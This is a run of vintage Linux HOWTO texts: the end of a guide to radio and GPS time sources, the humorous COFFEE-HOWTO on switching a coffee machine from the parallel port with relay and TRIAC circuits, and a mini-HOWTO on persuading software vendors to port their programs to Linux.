You may have heard about Heathkit's "Most Accurate Clock", which received and decoded the time signal from WWV and had an optional serial port for connecting to a computer. Heathkit stopped selling kits a long time ago, but they continued to sell the factory-built version of the clock until 1995, when it was also discontinued. For Heathkit nostalgia (not including the clock) see http://www.heathkit-museum.com. The Heathkit company still exists, selling educational materials. See http://www.heathkit.com.

According to Dave Mills, Heathkit's patent on the "Most Accurate Clock" is due to expire soon, so maybe someone out there would like to clone it as a single-chip IC.

The NTP website has a DSP program (and a PDF file describing it) at http://www.eecis.udel.edu/~mills/resource.htm that decodes the WWV time signal using a shortwave radio and the TAPR/AMSAT DSP-93, a DSP kit which is no longer available. It was based on the Texas Instruments TMS320C25 DSP chip. The TAPR website at http://www.tapr.org includes a lot of information on homebrew DSP programming.

Ntpd includes a driver (type 6) for the IRIG-B and IRIG-E time codes, using /dev/audio on a Sun SPARCstation, with a note that it is "likely portable to other systems". WWV uses the IRIG-H time code.

WWV is run by NIST, which has a website at http://www.boulder.nist.gov/timefreq/index.html. This site includes the text of "Special Publication 432", which describes their time and frequency services, at http://www.boulder.nist.gov/timefreq/pubs/sp432/sp432.htm. WWV broadcasts on 2.5, 5, 10, 15, and 20 Mhz.

4.3 GPS and the "Totally Accurate Clock"

GPS signals include the correct time, and some GPS receivers have serial ports. Ntpd includes drivers for several GPS receivers. The 1PPS feature ("One Pulse Per Second", required for high accuracy) usually requires a separate interface to connect it to the computer.

TAPR (Tuscon Amateur Packet Radio) makes a kit for an interface called "TAC-2" (for "Totally Accurate Clock") that plugs into a serial port and works with any GPS receiver that can provide a 1PPS output-- including some "bare board" models that can be mounted directly to the circuit board. For more information see their website at http://www.tapr.org. The price (as of June 1999) is around $140, not including the GPS receiver. The kit does not include any enclosure or mounting hardware.

The CHU "gadget box" (described in another section) can also be used as an interface for the 1PPS signal. The NTP website has a discussion of this at http://www.eecis.udel.edu/~ntp/ntp_spool/html/pps.htm.

4.4 Low-frequency Time Signals: DCF77, MSF(Rugby), WWVB

These low-frequency stations broadcast a time code by simply switching the carrier on and off. Each station uses its own coding scheme, and summaries are available on the NTP website at http://www.eecis.udel.edu/~mills/ntp/index.htm (near the bottom of the page). DCF77 in Germany broadcasts on 77.5kHz. MSF in England (also called "Rugby", which apparently refers to its location) and WWVB in Colorado both broadcast on 60 kHz.

Reception of WWVB varies, but there are plans to increase its broadcast power, in several stages. You can follow its progress on NIST's website at http://www.boulder.nist.gov/timefreq/wwvstatus.html.

Inexpensive receivers that can plug into a serial port are reported to be available in Europe. Ntpd includes drivers for a couple of MSF receivers.

A number of companies in the US sell relatively inexpensive clocks that have built-in WWVB receivers (including several analog wall clocks), but I'm only aware of two that can be connected to a computer:

The Ultralink Model 320 sells for about $120 (as of June 1999) and has a serial interface and a straightforward ASCII command set, so it shouldn't be too hard to program. It draws 1mA from the serial port for power. The antenna can be up to 100 feet away from the computer, and the unit contains its own clock to maintain the time if it loses the signal. They also sell a "bare board" version for about $80 that is designed to work with the "BASIC Stamp" series of microcontrollers. See http://www.ulio.com/timepr.html.

Arcron Technology sells a desk clock with an optional serial port for about $130, including software for Windows. See http://www.arctime.com


COFFEE-HOWTO

Fotis Georgatos, < gef@hellug.gr>
Annie Pinder, < ajp@leguin.org.uk>

v0.8, 30 November 2000

One of the most memorable comments about software I have ever heard, is whether this or that can make coffee. Coffee is a world commodity that is second only to oil. Linux DOES make coffee. And it tastes good, as well!

For a long time, humanity was wondering how could a computer make coffee... People need coffee wake up and stay awake in front of the computer for a long time. Everyone knows that coding is better at night...

The main problem is how to manage the coffee machine with the computer, so that it will be controlled by software. This generally means an ON/OFF switch implemented as a circuit which controls the coffee-machine's power supply.

This HOWTO has turned out in a public project, look at http://coffee.sourceforge.net/,

1. Menu

  • 1.1 French
  • 1.2 Nescafe
  • 1.3 Frappe
  • 1.4 Freddo
  • 1.5 Espresso
  • 1.6 Cappuccino

2. Electronic circuit

  • 2.1 Driving voltage 0-5V from the computer
  • 2.2 Controlling with a Relay
  • 2.3 Controlling with TRIAC #1
  • 2.4 Controlling with TRIAC #2

3. Software

  • 3.1 Software
  • 3.2 Device driver
  • 3.3 Connecting with the Internet

4. Overdose symptoms

5. Expansions

6. References

7. etc

  • 7.1 preface
  • 7.2 Authorship and maintenance
  • 7.3 Copyrights
  • 7.4 Credits


COFFEE-HOWTO: Menu

 Next Previous Contents

1. Menu

1.1 French

Popular coffee among programmers because doesn't need a lot of care; like commercial software. Its exciting taste has inspired thousands of programmers in writing incredible software, written in the very first ours of a day. Windows for example was written at 5:00 o'clock in the morning, Due to coffee! A result is guaranteed.

1.2 Nescafe

Nescafe is a rather strong coffee, made by pouring hot water in a mixture of coffee, sugar and some water. You usually take 1 spoon of coffee and 1 spoon of sugar with just a bit of water, to mix it. In the meantime you should have the water boiling. As soon as the water is hot enough, you mix them all together and preferably add milk. Although you can use something simpler than a coffee-machine to boil the water, I have seen this done many times...

1.3 Frappe

A popular variation of the above mentioned coffee. Actually, it doesn't need a coffee-machine, rather a refrigerator for cold water and ice-cubes.

1.4 Freddo

This is a difficult one, read coffee-faq (see references)

1.5 Espresso

Espresso is a very strong, italian sort of coffee. You serve it in small cups (You ask why? See chapter: Overdose Symptomes) with on or to pieces of lump sugar. To produce a good espresso you need fresh grinded coffee beans, water, lump sugar and a special machine. These machines boil the water and press the very hot steam through the grinded coffee beans. You can buy a super-duper-automatic machine for a lot of money. But a low cost machine is useable, too.

OK., lets start. Fill water in your machine. Let it become hot. In the meantime fill about 1 teespoon of coffeepowder in the filterhandle of your machine. Press the coffeepowder down. Not too much. Now the water is at the right temperature. Attach the filterhandle to the machine and let the machine work. After about 30 seconds you can serve a delicate, hot espresso. It is fine after a good meal. You feel good and can code for a few more hours.

1.6 Cappuccino

(See also chapter: Espresso) If you have a more profi-like machine, you can use it, to froth milk with it. You need this feature to make a creamy sort of coffee. It is easy to prepare. Put some frothed milk in a coffee pot and fill it up with espresso. Then decorade with some chokolade flakes. That´s it.


COFFEE-HOWTO: Electronic circuit

 Next Previous Contents

2. Electronic circuit

A general diagram is like this:

--------- 0-5V  --------- ~220V  ----------------
|  PC   |===>===|Circuit|========|Coffee-Machine|
---------       ---------        ----------------

The concept is that we take a controling voltage from the computer, which drives an electrically isolated circuit with a Relay or Triac.

You must choose a Relay circuit, if you have a coffee-machine greater than 200W. You can use a triac-based one if your coffee machine isn't high power.

All circuits presented are tested, but the results are YOUR RESPONSIBILITY. If you have no experience with electronics you should NOT try these, otherwise you may get a bad one...

You should be very careful while experimenting with 220V, and using an appropriate fuse is advisable.

2.1 Driving voltage 0-5V from the computer

Here is a simple example to get a voltage 0-5V from the parallel port of the computer.

      Back View          -----    Pin 10 - ACK
      Male DB-25         |   |    Pin  9 - D7
      Connector          |   |                           Pin 2 - D0
                         v   v                           v   Pin 1 -
~Strobe
       ____________________________________________________________
      /                                                            \
      \     13  12  11  10   9   8   7   6   5   4   3   2   1     /
       \                                                          /
        \     25  24  23  22  21  20  19  18  17  16  15  14     /
         \______________________________________________________/

Pin 1 is Strobe (inverse logic)

Pins 2-9 is DATA BUS's signals, exactly what was written to the parallel port's latches with an OUTB command.

Pin 10 is the acknowledge signal (ACK), controlled by you, so that you can produce an interrupt to the CPU.

Pins 18-25 are short-circuited and this is the ground (GND).

In detail:

<= in   DB25    Cent    Name of         Reg
=> out  pin     pin     Signal          Bit     Function Notes
------  ----    ----    --------        ---     -----------------------------
=>       1       1      -Strobe         C0-     Set Low pulse >0.5 us to send
=>       2       2      Data 0          D0      Set to least significant data
=>       3       3      Data 1          D1      ...
=>       4       4      Data 2          D2      ...
=>       5       5      Data 3          D3      ...
=>       6       6      Data 4          D4      ...
=>       7       7      Data 5          D5      ...
=>       8       8      Data 6          D6      ...
=>       9       9      Data 7          D7      Set to most significant data
<=      10      10      -Ack            S6+ IRQ Low Pulse ~ 5 uS, after accept
<=      11      11      +Busy           S7-     High for Busy/Offline/Error
<=      12      12      +PaperEnd       S5+     High for out of paper
<=      13      13      +SelectIn       S4+     High for printer selected
=>      14      14      -AutoFd         C1-     Set Low to autofeed one line
<=      15      32      -Error          S3+     Low for Error/Offline/PaperEnd
=>      16      31      -Init           C2+     Set Low pulse > 50uS to init
=>      17      36      -Select         C3-     Set Low to select printer
==      18-25   19-30,  Ground

2.2 Controlling with a Relay

The simplest circuit that one can build is:

                             Vcc
                              |
                              +------+
                              |    __|__
                            Relay   /^\  Diode 1N4002
                             Coil  /---\
                              |      |
                              +------+
                              |
                           | /
                 4.7K    B |/  C
parallel port >-\/\/\/\/---|        NPN Transistor: BC547A or 2N2222A
data pi                    |\  E
                           | V
                             |
parallel port >--------------+
ground pin                   |
                          Ground
Connect Vcc with the same voltage as the relay type (usually 5 or 12V). Obviously, the relay's specifications should be scaled for your coffee-machine.

Barmen, tend to put the relay AFTER the transistor, at the emitter (E) pin instead of the collector (C) pin. This is bad practice because it biases the transistor badly, and may result in bad coffee :-). Diode 1N4002 is useful to protect the transistor from the relay's currents. If you don't use it the transistor will become dark and smelly...

2.3 Controlling with TRIAC #1

If you only want a simple circuit, you can use Motorola's triac driver MOC301[012], together with a general purpose TRIAC like SC141D. This method has the advantage that you don't need an extra power supply.

For non-inductive loads, this is the circuitry:

        270     1 +-------+ 6    180
  +5v -VAVAVA-----+       +----VAVAVA-----+-------------- Line Hot
                2 |  MOC  |               |
  TTL in ---------+ 3012  +nc            VA  SC141D
                  |       | 4           / |
                nc+       +------------/  |
                  +-------+               +----\/\/\/---- Line Neutral
                                                LOAD

If you are going to work with 220V, try to obtain a 3021. Inductive loads should be used in conjuction with bypass capacitors, see Motorola Application Note AN-780. Coffee-machines are mainly resistive loads and not inductive (like a motor), but who knows what yours is!

2.4 Controlling with TRIAC #2

+5VDC
|    180                      180            2.2k
+---/\/\/\----+-----+   +----/\/\/-+--/\/\/\---+-------> 120V
              |    1|   |6         |           |         Hot
              |    +=====+         |           | MT1
              |    | MC  | TRIAC   |          +-+
              |    | 3032| Driver  |        G | | TRIAC
              |    +=====+         |         /| |
              \    2|   |4         |        / +-+
       2N3904  |----+   |          |        |  | MT2
              /     |   +--------- | -------+  |
             V      \              |        |  |
             |      /              |        \  |
             |      \ 43    .01u  ---   10k /  |
             |      /       500V  ---       \  |
             |      |              |        /  |
             +------+              |        |  |            Neutral
             |                     +--------+--+---o    o--> 120V
             /                                      load
 >-/\/\--|  2N3904
             \
              V
              |
             ---
            ///
You should change resistors accordingly for 220V.

Circuit description:

The MC3032 is an optoisolator TRIAC driver. The 180-ohm resistor sets the current for the LED emitter in the optoisolator. Change the value of this resistor - if necessary - to get a reasonable current (e.g., 15 mA).

Note that you cannot test this circuit without a load. The TRIAC will not switch unless connected to an AC voltage source, so you can't test it for simple switching without applying AC and a load. Note the 500V rating on the .01 cap.


COFFEE-HOWTO: Software

 Next Previous Contents

3. Software

3.1 Software

You will have to build an executable that will work like this:

  • Get permission to use I/O address space, by calling kernel, with the command ioperm: eg ioperm( BASE, range ,1);
  • Perform an out request instruction, to set the 0-5V voltage to the parallel port, eg outb( 1, BASE );
  • Wait enough time so the coffee is made. It would be nice if that time is read by looking at the command line.
  • Then it will turn off the coffee-machine: outb( 0 , BASE );
  • Before ending it should give back the parallel port with a ioperm( BASE, range, 0);
Change BASE = 0x3bc for /dev/lp0, 0x378 for /dev/lp1, and 0x278 for /dev/lp2, range=8.

It would be useful if you had that program setuid, so that everybody can drink coffee!

3.2 Device driver

Just read kernel hacker's guide, implement a device driver (it could even be user space I think). Please compile it as a module, so that we won't need a kernel compile in every update. Then write:

echo cappuccino >/dev/coffee

And you will have a hot cup of coffee in minutes! Remember to give the right permission to /dev/coffee, depending on whether you want only root making coffee or not.

The advantage of this method is that it supports feedback from the coffee-machine by using the ACK of parallel port, so that smart coffee-machines could produce an interrupt.

Do it as homework.

3.3 Connecting with the Internet

If you have implemented the C program (see above), you just have to write a simple CGI script to turn ON and OFF the coffee-machine. You should write some nice webpages, explaining how to make coffee, and put them on an apache web server...


COFFEE-HOWTO: Overdose symptoms

 Next Previous Contents

4. Overdose symptoms

  • excitement
  • nervousness
  • insomnia
  • tachycardia or cardiac arhythmia
  • restlessness
  • Hypersensibility to light
  • Annoyance in respect with various audio stimuli
  • gastrointestinal disturbance


COFFEE-HOWTO: Expansions

 Next Previous Contents

5. Expansions

These are our ideas:

  • All hardware and software described here, can be expanded so that it will support toast, beaf, applepies, etc.
  • Cluster with 8 coffee-machines. This will let you have coffee even when the first one gets off. Of course there will be a perfomance hit.
  • Parallel vector coffee-machine will be a future release.
  • If you want the maximum automation you'll need more circuits and sensors, so that you can control water flow, temperature, coffee quantity etc.
  • In the near future we will implement SNMP features.
  • Serial coffee-machine at 115Kbps.


COFFEE-HOWTO: References

 Next Previous Contents

6. References

  • http://daisy.uwaterloo.ca/~alopez-o/caffaq.html This is most known Internet's Coffee-FAQ
  • http://faculty.washington.edu/chudler/caff.html Caffeine and effects of on the Nervous System
  • http://www.gardfoods.com/coffee/coffee.coffee.htm A pretty comprehensive, if informal, history of humans' interaction with the coffee plant. People have been chewing coffee berries in Africa for 100,000 years or so. Coffee was definitely growing in Yemen, where it is not native (so must have been planted), in 525 AD.
  • http://www.faqs.org/rfcs/rfc2324.html RFC2324: Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)
  • http://www.faqs.org/rfcs/rfc2325.html RFC2325: Definitions of Managed Objects for Drip-Type Heated Beverage Hardware Devices using SMIv2
  • http://sunsite.unc.edu/LDP/HOWTO/mini/IO-Port-Programming Programming of I/O ports under popular operating system Linux.
  • http://lonestar.texas.net/~andrew/f_pc_.htm A lot of circuits in ASCII. Some of them are for parallel port.
  • http://shell.rmi.net/~hisys/parport.html Whatever you wanted to learn about a parallel port and didn't dare to ask.
  • http://www.redhat.com:8080/HyperNews/get/khg.html How to write your own device drivers. Come on, go ahead!
  • http://www.hut.fi/Misc/Electronics/circuits/parallel_output.html Tomi Engdahl's web page is a *must see* for everyone who enjoys electronics.
  • http://dir.yahoo.com/Computers_and_Internet/Internet/ Devices_Connected_to_the_Internet/Coffee_Machines/ Coffee-machines on-line. Unfortunatelly, there are no tests.
  • http://www.cs.su.oz.au/~bob/coffee.html This coffee-machine offers only cappuccino. It has to be upgraded.
  • http://einstein.et.tudelft.nl/~janssen/ Hot coffee from Netherlands.
  • http://www.cl.cam.ac.uk/coffee/coffee.html
  • http://www.cs.su.oz.au/~bob/Coffee/index.html
  • http://www.menet.umn.edu/coffeecam/


COFFEE-HOWTO: etc

 Next Previous Contents

7. etc

7.1 preface

This document was initially written as part of a small debate in the linux-greek-users list , whether linux can make coffee or not. It has been an article in our beautiful online magazine about Linux called magaz. Remember, that magaz is greek it will look like that to you.

7.2 Authorship and maintenance

My name is Fotis Georgatos and I have also been in the past busy with the greek documentation and wwwpages maintainance. I welcome submissions to this HOWTO, as long as you're not anxious about the changes.

I'm Annie Pinder and a coffee fan. I live in England. I made the language changes on this document. I'm currently in the English equivalent of High School, in my final compulsory year.

7.3 Copyrights

The casual copyright with everything you get with linux... To find it, you'll have to read all of HOWTOs and average out the most common. Otherwise, no, you cannot copy it.

7.4 Credits

  • Ethiopia: Identified as the originating country of coffee. As many people corrected, coffee did not originally come from America nor was brought by Christofer Colombus. It was popular in the Middle East long before America was discovered. Still, we can remember Cristobal Colon, as the person who brought tobacco and chocolate in Europe.
  • Kostas Lialiambis is the one who dared saying that he can't make coffee with his Linux box.
  • Panagiotis Vrionis, Yannakopoulos Haralambos, for giving me interesting and humorous notes.
  • NUMEROUS people on the internet with additions and remarks.


Commercial Port Advocacy mini-HOWTO

Doug Loss dloss@seul.org

v0.1, 29 December 1999

This document discusses methods that can be used to approach commercial software companies to convince them to port their programs to Linux.

1. Copyright Information

2. Why write this?

3. Other efforts

4. How to choose companies to approach

5. The art of cold contacting

6. What to say

7. My standard contact message

8. The final inspirational message

9. Resources


Commercial Port Advocacy mini-HOWTO: Copyright Information

 Next Previous Contents

1. Copyright Information

This mini-HOWTO is Copyright © 2000 by Douglas R. Loss. All rights reserved.

A verbatim copy may be reproduced or distributed in any medium physical or electronic without permission of the author. Translations are similarly permitted without express permission if they include a notice on who translated them.

Short quotes may be used without prior consent from the author. Derivative work and partial distributions of this mini-HOWTO must be accompanied by either a verbatim copy of this file or a pointer to a verbatim copy.

Commercial redistribution is allowed and encouraged; the author would like to be notified of any such distributions.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

We further want all information provided in the HOWTOs to be disseminated. If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu.


Commercial Port Advocacy mini-HOWTO: Why write this?

 Next Previous Contents

2. Why write this?

I read over all the other advocacy howtos for Linux that I could find (I've listed them in the resource section at the end). They were almost all addressed to convincing end users (either business or personal) that Linux could meet their needs on a day-to-day basis. That's a very useful thing to do, but it wasn't what I was looking for. Only the Linux Advocacy Project came close to what I was looking for, and it didn't quite cover what I wanted. I wanted something that would help me approach organizations making software for other platforms and convince them to port their works to Linux. Since I couldn't find any howto concerning that I decided to write one.

In this howto I'll cover how to approach software companies and what arguments may be most effective in convincing them to port their programs to Linux. I won't talk about trying to convince them to release their Linux ports under open source licenses. While that might be a good idea, I think these things should be done in small steps. Advocating a port to another OS is much more likely to meet with interest than advocating what the company may perceive as "giving away" product, or advocating a radical change in their basic development model.


Commercial Port Advocacy mini-HOWTO: Other efforts

 Next Previous Contents

3. Other efforts

There are other groups and individuals doing their parts in trying to get various software and hardware vendors to support Linux. Norman Jacobowitz is a consultant working with SSC, Inc. on an advocacy project that approaches the same problem I'm addressing here, although from a different direction. Here's what he told me about his efforts:

SSC, Inc, publishers of Linux Journal, maintain a "software wish list" at <http://www.linuxresources.com/wish>. They are currently paying an outside consultant to use these results and other data to lobby marketing managers at ISVs to port their products to Linux. This is an effective, on going project to bring more native software to Linux; so please drop by the wish list and vote for your favorite software.

Andrew Mayhew has been trying to convince hardware vendors that making Linux drivers, or at least releasing the specifications so the Linux community can write the drivers, is a good idea. Here are his thoughts:

I go to conferences. I was most recently at Networld-Interop in Atlanta (which was shortly followed by the Atlanta Linux Expo). There at Interop I went to many of the vendors with two agendas. First, I was there as a respresentative of the ISP that I work for and was looking for solutions. But secondly, I was there find out who currently had Linux support and if they didn't have Linux support, why they didn't and was the company considering it. It is interesting to note, that in the large Novell section, there were actually two Linux related sub-booths. Additionally, Cobalt Micro was there with their thin server, along with RedHat and Caldera. Fairly small showings in a nearly completely non-Unix related conference, but a showing none the less.

Most of the companies that I was talking to are primarily hardware vendors. They already don't make any money off of their drivers. They just need to develop the drivers so that people will use their hardware. My typical approach to one of these companies was to first ask about the product in general, so that they could get through their marketing routine quickly, and then ask about driver support. When the only words out of their mouths would be Windows 95, 98, and NT, I would ask about other platforms explaining that I run in a multiplatform environment and would need interoperability between these platforms. In introducing the idea that they should support other platforms I would only slowly work in the idea of Linux as one of them. I found that introducing the idea that I wanted driver support for Linux right off typically got me a knee-jerk reaction which would basically have the person shutdown and try to find a way to get out of the conversation. But if you can get their defenses down then you can explain to them how, in general, all they would need to invest to get Linux drivers would be to openly publish the specifications for talking to whatever hardware and possibly providing hardware to key developers. The biggest argument to this, is typically, "We have some proprietary ways of doing X and don't want to have that information out in the open." The usual way around this problem is to explain that being able to talk and use a device does not normally mean having to know what proprietary tricks they are pulling. At least this fits with the wireless LAN and the Fibre Channel IP people that I was dealing with.

One smaller company, which I think may attempt to find someone in the community to help develop a driver for them came up with an interesting solution around the proprietary issues as well. This being that they would have the initial developers sign NDAs for the hardware documentation, but the source code could be open source so long as the documentation in the source was not just a copy of what the company provided the developer.

For software companies, I think it is a very good idea to point out that there is nothing or very little available of their kind of software; whatever that area of software is. But it probably should also be noted what does exist. Of particular interest would be the development tools, the development support available, and possibly information about other porting projects. In terms of these other projects they would be interested in the porting problems that they have solved or would similarly be tackling.


Commercial Port Advocacy mini-HOWTO: How to choose companies to approach

 Next Previous Contents

4. How to choose companies to approach

First, you need to identify an area where Linux is deficient in programs. I wouldn't try to convince any company to port their web server to Linux. There are plenty of such programs available. I'd much rather use my time trying to convince companies to port games or kindergarten through 12th grade educational programs to Linux, as there's very little of those types available (none in the educational area, so far as I know).

Second, you need to identify companies that are most likely to be interested. I have no hard evidence of this, but I strongly suspect that your efforts will meet more success if you concentrate on second-tier companies rather than on market leaders in your chosen category. Companies with seemingly dated products or products that were aimed at obscure platforms would seem to be good targets. Their software may not be dated for Linux users since we're not always taken in by the hype factor. They may well be looking for new markets for their products as their present market dwindles along with their ability to compete. I doubt that Disney or Davidson and Co. would consider porting their educational programs nearly as quickly as say, Soleil Software or Topologika. Also, if a company provides its software for both Windows and Macintosh currently, it may be more likely to consider supporting yet another OS than one that is exclusive to the Windows or Mac world. If all the companies in your target category are Windows or Macintosh exclusive I'd try the Mac shops first, as a Linux port would give them a much greater market expansion (on a percentage basis) than it would a Windows-only company.


Commercial Port Advocacy mini-HOWTO: The art of cold contacting

 Next Previous Contents

5. The art of cold contacting

What you will be doing is known in the fund-raising business as "cold contacting." This means that your "target" company won't have known that you'll be contacting it, and won't have been primed to hear your message. A 1% response rate is considered normal. You should be able to do better than that.

In a sense all target companies will be slightly primed to hear about Linux due to the remarkable amount of publicity it's been getting of late. In that respect your contact won't be completely cold. That's good.

The first thing to do is to identify someone in the company to contact. It's always best (if possible) to identify an actual individual rather than a job title. Depending on the size of the company and its organizational structure, your best bet is the head of program development. If that isn't a possibility, try for the head of whatever technical section the company may have. If that isn't possible, read over whatever bios might be available in the "about the company" section of the company's web site (they almost all have something like this) and pick the person who seems most likely to be intrigued by Linux and to become an internal advocate for a Linux port. Finally, if none of the above things works try contacting the head of the company. Incidentally, it won't hurt to contact more than one person in the company if your bio research shows somebody other than the head of program development as the most likely person to be interested.

Your initial contact should probably be via email. First, email usually goes directly to the person addressed rather than being filtered through various layers of the organization as postal mail and telephone calls are. Second, with email everyone starts equal. Physical presentation and elocution don't enter into the contact, so the logic of the message may be more apparent.

The subject of your message should be understated. "Make Millions Easily!" will just get your message deleted as spam. Try something like "A good new market for your programs," or "An overlooked market for your software."

The first sentence in your message should probably be a conditional apology for sending the message to the wrong person if the person receiving it is the wrong person. The next sentence should request that the message be forwarded to the right person and that that person's email address be sent back to you for future contacts. This has a few effects. The apology establishes that you're not a know-it-all and that you are polite. The request reinforces the politeness and quietly lets it be known that this won't be a one-time contact. That's important. It's a lot easier to blow off a message if you don't think you'll ever hear from the writer again.

That brings up another point. If things work out right, you won't be making just a one-time contact with this company. You will be signing up to be an outside contact for them, a source of information about things Linux. As such, there are some guidelines to follow in all your contacts. Be polite. Be patient. Be truthful. Be helpful. Stay apart from internal politics.

Be polite means responding civilly to all messages, even if you consider them insulting or moronic. Remember, "A soft answer turneth away wrath." Besides, it's just possible that you may have misunderstood the message. Asking for a restatement of the message to clear up its meaning can't hurt.

Be patient means answering what you consider obvious questions calmly and clearly, and answering them as many times as necessary. Email isn't real-time; you can take a jog around to block to cool down before answering yet another, "But doesn't a Linux port mean we'd be expected to give our products away?" message.

Be truthful means answering each question to the best of your ability, and saying "I don't know" when that's the correct answer. However, "I don't know" is only the first part of that answer; "but I'll find out and get back to you" is the rest of it.

Be helpful means going beyond just answering the immediate question and trying to address the reasons the question was asked. For example, one company asked me how it could publicize the existence of a Linux port if it did one. I mentioned the standard places (comp.os.linux.announce, Linux Weekly News, Freshmeat, Slashdot, Linux Journal). Then I brought the question up in the seul-dev-apps mailing list. The discussion there eventually started the development of the lu-news system.

Stay apart from internal politics means keeping a little distance between yourself and your company contact. However friendly your exchanges are, your role shouldn't be one of confidante but one of outside expert and advocate. You won't force the company into supporting Linux. You can only make sure they know about the opportunity and help them find the best way to take advantage of it.

You should probably be prepared to answer questions about why no one else in the target company's market niche is developing for Linux (if that's indeed the case), and what capabilities are available in Linux, such as multimedia. Are the available media players exploitable commercially? Do they run efficiently? You might also make the point that a port to Linux of a graphical program will mean a port to the X Window System and will mean that the program is much easier to port to any other OS that uses X, such as Solaris, AIX, or HPUX.

Andrew Mayhew brought up this point to me, and it makes a lot of sense:

It has been my (albeit limited) experience that structuring the email/letter sent to companies with the idea that I or one of my clients is actually interested in their product at the beginning (or as closely as reasonable) of the document gets more results. Now, this is only really applicable is you mean it.


Commercial Port Advocacy mini-HOWTO: What to say

 Next Previous Contents

6. What to say

Okay, enough about what tone to adopt. What do you say to convince them that the Linux community is worth porting for? Here's what I did.

First, I explained as well as I could just who the Linux community is, and why Linux users would be a receptive group for my target company's products. I very carefully didn't exaggerate, and made sure that I explained when my figures were estimates rather than hard numbers. If someone comes up with a way of measuring usage, we may be able to get the hard numbers we need for market demographics, but till then we have to do our best.

Next I explained why I thought the Linux market would be good for the company to enter.

Then I laid out the ways in which the company's current program line could be ported to Linux. I must say that I lean toward using Abacus Research & Development Inc. (ARDI) Executor technology as a "wrapper" for Macintosh binaries as the easiest and quickest way to do that, but WINE and the TWIN library (as I understand it,these two groups are now working together) are all possible tools to help move programs to Linux without full-blown ports. Incidentally, I cleared my letter with ARDI before I mentioned any action that their engineers might be able to take for the company. You would lose credibility if the target company acted on your recommendation, contacted someone like ARDI, and was essentially told, "We don't know what you're talking about."

There's also Loki Software, which does ports of commercial software to Linux. So far they're done only games, but when I talked with the president of Loki a while ago he was quite willing to consider doing similar ports of other types of software.

Finally, I ended with a personal note on why I was trying to convince the company to port to Linux. Here's a copy of my standard letter; don't copy it word for word, but feel free to adapt its organization if you like:


Commercial Port Advocacy mini-HOWTO: My standard contact message

 Next Previous Contents

7. My standard contact message

Dear Sir or Madam:

If I've sent this to the wrong address in your organization, I apologize; could you please forward it to the appropriate person? Also, could you let me know who that appropriate person is so I can direct future communications to him or her? Thank you.

I know that [insert company name here] has fine educational software programs for both the Macintosh and Windows PCs. However, I'd like to speak on behalf of a computer community that has heretofore been overlooked by the entire educational software industry; the Linux community. I'd also like to call your attention to porting tools that can make moving Windows and especially Macintosh software to Linux nearly trivial.

Linux is the fastest growing operating system in the world. It is impossible to put exact numbers on how quickly it is growing because it can be downloaded for free off of the internet. The last attempt to estimate the total user base in early 1998 came up with 7 million users world-wide in early 1998 with over 100% growth/year. The explosion of Linux publicity since then has undoubtedly kept that growth rate alive, putting the current market at around 20 million with rapid expansion for some time to come. That's more than the worldwide total of OS/2 users and is near (if not more than) the number of Macintosh users. In addition, these numbers should probably be in some part subtracted from the Windows and Macintosh user figures, as almost all of the computers Linux is used on initially had Windows or MacOS installed.

Just who are these Linux users? They are primarily male, technically educated, and in their early twenties. The first two traits are more standard than the last; Linux users range from the teens to probably the mid-40s in age. (I'm 46, so I had to extend the range at least that far.) This is a prime demographic for the educational software market. These are people who generally have or will soon move into well-paying jobs in technical fields, and who are often just starting families. Linux users are usually not very patient with MacOS or Windows, and so tend not to see or to consider software offerings for those operating systems.

To the best of my knowledge, there are currently zero educational software programs available for Linux. While many Linux users will write their own programs if they can't find anything to fit their needs, that has so far not been the case with educational software. This may be because Linux only originated in 1991, and has only experienced explosive growth in the last 2-3 years. The market is completely open.

This has only recently been noticed by the Linux community. As more of us have young children, the awareness of the need for educational software for Linux is growing. I'm sure it will only be a matter of time till someone begins to address this need.

What is the easiest, most cost-effective way to enter this market? It's certainly not impossible to start from source code and rewrite the operating-system-specific routines to work with Linux. That's what many Macintosh ISVs did when they wanted to enter the Windows market. However, there are easier ways.

There are "wrapper" programs available for both Windows and Macintosh programs, which enable them to run on Linux without having to be rewritten extensively. For Windows, there is the TWIN library from Willows Software <http://www.willows.com>. I don't have any direct experience with TWIN, but the Willows website gets quite specific on what Windows routines move across cleanly and what ones need some touch up. The WINE Project (<http://www.winehq.com>) also has Winelib, a similar set of libraries that Corel is planning to help develop and use in porting its office applications to Linux.

For Macintosh programs, Abacus Research & Development, Inc. (ARDI <http://www.ardi.com/>) has rewritten a substantial fraction of the Macintosh OS and toolbox routines, and makes this technology available in two different ways. Executor is available both as a Macintosh emulator for end-users and as a porting tool for Mac ISVs. Executor is available for Linux, DOS and Windows. A demo of Executor for Linux is included on the Red Hat 5.1 Linux distribution, the most popular commercial distribution. The engineers at ARDI are fluent in Macintosh and Linux and can evaluate how hard it would be to make a Linux version of your Macintosh software. In many cases it can be done without your needing to change a single line of code. A Linux version of your program created in this way can easily fit on the same CD-ROM as your Mac and Windows executables, thereby giving you a three-OS program on one SKU. The expenditure required to open up this potentially lucrative new market is relatively minor; certainly much lower than the cost of the ports many companies made in expanding from the Mac-only market into the Windows and Mac market.

Finally, a personal note. The reason I'm moved to write to you proposing that you enter the Linux educational software market is my 6-year-old son. I run Linux because, of all the operating system choices available, it best fills my needs and desires. If there were good educational software available for Linux, I'd snap it up. I know I'm not alone; I've heard from other parents every time I've mentioned the problem in various Linux forums. There's a market out here waiting to buy your product. Please don't disappoint us.


Commercial Port Advocacy mini-HOWTO: The final inspirational message

 Next Previous Contents

8. The final inspirational message

If you decide to take a turn at advocating commercial software ports to Linux, remember that in so doing you're not acting as merely one individual, but as a representative of our entire community. I know we're more honest than Microsoft; I like to think we're less self-satisfied than Apple; I hope we're more generous in helping other users in need than any of the other user communities. Show those qualities to the companies you contact--honesty, humility, and helpfulness--and you stand a good chance of being successful.


Commercial Port Advocacy mini-HOWTO: Resources

 Next Previous Contents

9. Resources

Here is the list of other advocacy documents I looked through before I decided to write this one. While they didn't cover the aspect of Linux advocacy I was looking for, they are well worth your time to read through. They have a lot of good advice on how to be an effective ambassador to the non-Linuxen out there.

  • Linux Advocacy Project
  • Linux Advocacy mini-HOWTO
  • Why Linux?
  • Why Linux?
  • Why use Linux?
  • Politics
  • [No Title]
  • Advocating Linux
  • Linux FUD Factor
  • Linux Myth Dispeller
  • Linuxmanship
